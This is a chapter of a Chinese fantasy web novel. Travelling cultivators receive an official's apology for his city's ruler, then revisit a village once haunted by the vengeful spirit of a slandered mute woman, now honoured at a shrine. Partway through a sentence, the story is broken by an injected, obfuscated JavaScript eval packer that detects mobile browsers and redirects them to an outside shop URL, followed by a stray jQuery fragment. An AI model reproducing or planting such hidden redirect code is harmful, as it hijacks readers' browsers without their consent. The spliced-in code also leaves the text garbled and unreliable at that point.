朝暾本以为是为难他们的,但是她却只是将一些食物和财物放到了他们车上。
“朝暾仙长,我代我们城主向您道歉。她其实人很好,当年这只是个小寨子,别人嫌弃男人只能干笨活无法生育都不收,是我们城主不计较,收留了不少男子,他们在村子里找点活计也能生活。”
朝暾可不吃这一套,“和我说这些做什么?”
“我只是想请求仙长不要记恨我们城主,我们这些老人是跟着城主到现在的,她很爱自己的城民,把寨子发展到现在样子也只是为了让百姓更好生活。”官员鬓角已经斑白,上了年纪的总是很容易感伤。
“除了在城主丈夫这件事上,她实打实的算的上是个好城主。您是有大功夫的,烦请您千万不要记恨我们城主,她也是太爱自己的丈夫了。若是不介意,我愿意替我们城主赎罪,仙长不要恨我们城主。”
说到最后,官员已经是热泪盈眶,声音哽咽,几欲跪下请求朝暾。
朝暾连忙搀扶,“您不必如此。我也从来说不上记恨什么的,真正遭遇这些的也不是我,是哪些无辜的男子,也是城中的普通百姓。”
官员神情感动,朝暾接着又说:“既然说是赎罪,首先就是找到哪些被嫁出去的无辜的男子们。若是过得好就给些补偿;若是过的不好,你们应该知道怎么补救。”
官员听了连连点头,表示自己一定铭记。“我一定会全力去督办此事,多谢仙长高抬贵手。”
朝暾看着面前的官员头发斑白,衣服上也是简单的布料,眉心皱纹远超同龄人的程度,平时也是个爱护百姓的人。此刻却为了自己的城主向自己卑躬屈膝,替城主赎罪,心里总不是滋味。
“大人,我也是苦主之一,我的补偿在哪里?”成绥拉着白茸凑了过来,“还有这位,我虽说就苦了三天,可这位确实是苦不少时日了,可不能拉下我们。”
“对啊,我可是乖乖巧巧当了你们城主半年的好儿子呢。”白茸顺着就说了,没有一点仙君的包袱。
官员身上也没带什么,就将自己的令牌拿了出来,“这是我的私人令牌,我虽没什么大作为,但门下有弟子在皇城中颇有一些成就。若是日后你们有什么难处,可将令牌交于她,她定会尽力助你们达成。”
白茸笑着就收下了,“那就多谢大人了。”
拜别官员后,几个人就踏上回平宁村的路。由于出发的时间有点晚,到地方的时候天已经黑了。匆忙收拾了一番就休息了。
晚上朝暾和罗红睡一间房,罗红是个精力旺盛的并且好奇的,缠着朝暾细细的讲她铲除“祟”的经历。
“阿朝,你们是怎么发现城主丈夫的心结在儿子身上的?”
“阿朝阿朝,你当时到底怎么说那个无赖城主的?给我讲讲嘛~”
朝暾最吃不得撒娇这一套,哄得将事情经过详细的给她分享了一下,还给她讲了之前遇到的事件,比如苹果男孩,思乡女君等的故事。
“好有意思啊!真羡慕你,我刚打算游历天下就到了这平宁村,也怪我修为平平,不像你一来就解决了。”罗红听着听着不免就带上了点失落。
罗红曾经也是怀着侠济天下的想法出门,进到平宁村守着村民平时也没觉得什么,结果阿朝的到来还是让她感觉蛮失落的。
对此,阿朝浑然不知,还以为罗姐姐太困了,就结束话题,渐渐陷入了睡眠。
罗红却睡不着了,深夜人心里的哪些阴暗的想法就像月亮下的影子一样,总是一点一点的吞噬自己。不觉天已大亮,罗红看了一眼还在沉睡的朝暾,小心翼翼的将衣服穿好走出房门。
门外她的丈夫已经起床在做早饭了,她走过去,从背后抱住丈夫。
丈夫被吓了一跳,随即感受到怀抱意识到来人。但是火上架着锅,腾不开功夫,只得先招呼着锅里的东西。罗红抱了一会,感觉好多了,就送来他,靠在案板旁,看着他做饭。
“怎么了?”丈夫打着手语询问,并且打量着她的神色,神情萎靡,一看就是昨夜心里有事没睡好。自从村子事情解决后,她已经很久没有这样了。
罗红突然就笑了,“宁哥,我好爱你啊。”
宁哥被突如其来的告白搞的脸一红,大早上的,就一晚上没见。
“害羞了?耳朵都红了。”还伸手去摸他的耳朵,真的好红啊。
宁哥听到她还在调戏,干脆背过身不理她。亏他还担心她是不是发生了什么事,结果……流氓!
罗红见他不理自己,不敢再逗了,帮着他一起把早饭做了。
不多时,众人也纷纷起床了。
用罢早饭,罗红邀请朝暾一起再去村子里检查一下,防止再出什么意外。
“你们之前在村子里都干了什么?”白茸看她们这么熟稔,颇有些好奇他们究竟做了些什么村民们这么信任他们。
“我知道!”嘉木正打算给白茸仙君解释,却忘了旁边还有一个爱讲故事的。
成绥理理衣领,不知道从哪里摸出来一把扇子,唰——一下,突然打开又合上敲向另一个手心。
那是一个寒风呼啸的一个傍晚,一行人行至山谷。山谷中雾气弥漫,水汽渐深,边要进村找个住处。
那是一个怎样的村子呢?
“你知道吗?”哇塞,竟然还有互动环节。
白茸很是捧场,“不知道,是怎么样的呢?”
这次再进村子,已经和上次来大不相同了。上次来村子安静的可怕,人们也都是惶惶不可终日,这次来就已经是普通村子的样子了。
“当时哑女被解决了以后,村民还是很惶恐。我和宁哥就带着将哑女的牌位供了起来,大家现在每日必做的就是去牌位前忏悔。效果倒是显著,大家现在也敢没事出门和人来往了,村子也渐渐有了人气。”罗红指着北边新建的一个祠堂,牌位就在里面。
两个人进了祠堂,牌位上没有字,大家都心知肚明知道是谁。可惜,往事随风,现在已经没有人记得哑女的名姓,谁也不知道百年前这里有一个无辜的女子被造谣害死。
“为了调查村子里的异象,阿朝带着我们翻看了村志和人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704377|208282||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
员死亡登记,一一排查,终于锁定了人物。
那个女人被她的父亲,丈夫和儿子认为克死了自己的母亲和女儿,每日对她非打即骂,村民也信以为真,一旦她出门就会远离他,唾骂她。
终于有一日她的父亲,丈夫和儿子突然暴毙,所有人都认为是她杀了他们,更加肆无忌惮的编排她。还有人报官要她下大狱,没有任何证据,她又回来了。
回来了大家依然不信她,她就干脆投了湖。死后怨气太深成了‘祟’,把所有人的舌头都割了下来。从那以后,所有会说话的都会在一觉醒来失去舌头。”
众人遗忘了这个故事,可是她的痛苦却没有结束,“祟”将她的怨恨降临到了他们所有人的后辈身上。怨恨割去了所有人的舌头,也困住了当时被堵住口舌,无奈投湖的可怜女人。
朝暾给她上了柱香,将自己之前买的一个香囊放到案桌上。不知道你喜欢什么,之前看到的,香味很不错,希望你会喜欢。
“再后来呢?你们怎么解决的?”白茸捧着嘉木刚煮好的茶,侧耳听着当时的故事。
“后面的我也不是很清楚了。”成绥挠挠头,收起架势,“当时不小心激怒了她,我们都陷入了幻觉,意识恢复时就只看到阿朝和罗红姐身上都是伤,她们举起了手里的武器,一下子将‘祟’击杀。
那一瞬间,天光大亮,雾气褪去,两个人站在光里,简直就是神女降世!”
从祠堂出来,阿朝和罗红继续巡查,走到了村口学堂,宁哥正在里面教书。
朝暾还是很惊讶的,“先前遇到你时,你说想去四方见识见识,这是打算安定下来了?”
罗红有些不好意思的笑了,“我是想走,但是村子里的孩子怎么办啊,舍不得了啊。我俩守护这么多年,好不容易小孩子都可以说话了,之前村子不稳定就算了,现在安宁了总不能看着他们一直当个哑巴吧。”
宁哥之前遭遇哑女的攻击也没法说话了,村子里大多数人家都是用手语交流,与学生们交流的倒是没有什么障碍。
“宁哥前两天还和我说,他没法说话,小孩子得张嘴。我们俩寻思着到城里找找有没有愿意来教这些孩子的夫子。没想到就遇到你们了,也是老天给的缘分。”
“好厉害。”朝暾看着小孩子们读书,村子里也原来越好,由衷的佩服罗红姐姐。
有人一辈子忙忙碌碌一事无成,有人一辈子只做了一件事,也算得上大功德。
“嘿嘿。”猛然被夸,罗红还怪不好意思的,更多的还是自豪。看吧,虽然我没那么厉害,倒也是有一番作为的不是?
村子不大,但是两个人检查的细致,等回到罗红家中已经晌午了。
一行人用过饭,就踏上了回山的旅途。罗红送他们到村口,看着四个人的身影消失在视野里才依依不舍的回家。
“舍不得为什么不留他们两天?”宁哥有些不解。
“她有大功夫,大使命,我又何必留她。只是有些不舍而已,过两天就好了。
该回去做晚饭吃了,走咯!